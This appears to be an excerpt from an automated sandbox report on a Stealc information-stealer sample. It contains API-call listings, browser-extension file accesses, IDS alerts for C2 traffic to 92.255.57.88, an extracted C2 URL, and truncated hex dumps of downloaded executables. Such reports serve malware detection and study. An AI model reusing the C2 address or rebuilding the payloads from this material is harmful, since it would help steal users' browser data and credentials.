Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_00414C70 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,StrCmpCA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,CopyFileA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,DeleteFileA,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	2_2_00414C70
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_004124F7 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	2_2_004124F7
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_0041CDD0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,CreateFileA,GetFileSizeEx,CloseHandle,CloseHandle,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	2_2_0041CDD0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_004016A0 lstrcpy,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,GetFileAttributesA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	2_2_004016A0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_0040DB80 lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,DeleteFileA,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,StrCmpCA,lstrcpy,StrCmpCA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,DeleteFileA,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	2_2_0040DB80
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_004113B7 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	2_2_004113B7
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_004124F9 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	2_2_004124F9
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_00414C89 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	2_2_00414C89
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_004016B9 lstrcpy,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	2_2_004016B9
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_0041D720 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcpy,lstrcpy,FindNextFileA,FindClose,	2_2_0041D720
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_0041DF20 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,lstrcpy,	2_2_0041DF20
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_0041E3F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	2_2_0041E3F0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_004113B9 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	2_2_004113B9

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 41MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49734 -> 92.255.57.88:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49734 -> 92.255.57.88:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 92.255.57.88:80 -> 192.168.2.4:49734
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49734 -> 92.255.57.88:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 92.255.57.88:80 -> 192.168.2.4:49734
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49734 -> 92.255.57.88:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://92.255.57.88/7bbacc20a3bd2eb5.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 23:07:20 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 25 Nov 2024 21:52:22 GMTETag: "65200-627c3bf569ed6"Accept-Ranges: bytesContent-Length: 414208Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 47 0d 76 ab 03 6c 18 f8 03 6c 18 f8 03 6c 18 f8 1d 3e 9c f8 23 6c 18 f8 1d 3e 8d f8 18 6c 18 f8 1d 3e 9b f8 79 6c 18 f8 24 aa 63 f8 00 6c 18 f8 03 6c 19 f8 7f 6c 18 f8 1d 3e 92 f8 02 6c 18 f8 1d 3e 8c f8 02 6c 18 f8 1d 3e 89 f8 02 6c 18 f8 52 69 63 68 03 6c 18 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ea b3 42 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 64 05 00 00 4c 01 00 00 00 00 00 42 5d 00 00 00 10 00 00 00 80 05 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 00 25 00 00 04 00 00 2c 14 07 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c4 69 05 00 28 00 00 00 00 50 06 00 18 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 49 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 98 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 22 63 05 00 00 10 00 00 00 64 05 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 d0 aa 00 00 00 80 05 00 00 60 00 00 00 68 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 70 6f 00 00 00 00 04 00 00 00 30 06 00 00 04 00 00 00 c8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 70 75 77 75 78 75 00 d6 00 00 00 00 40 06 00 00 02 00 00 00 cc 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 18 a3 1e 00 00 50 06 00 00 84 00 00 00 ce 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 23:07:27 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 23:07:41 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 23:07:43 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 23:07:44 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 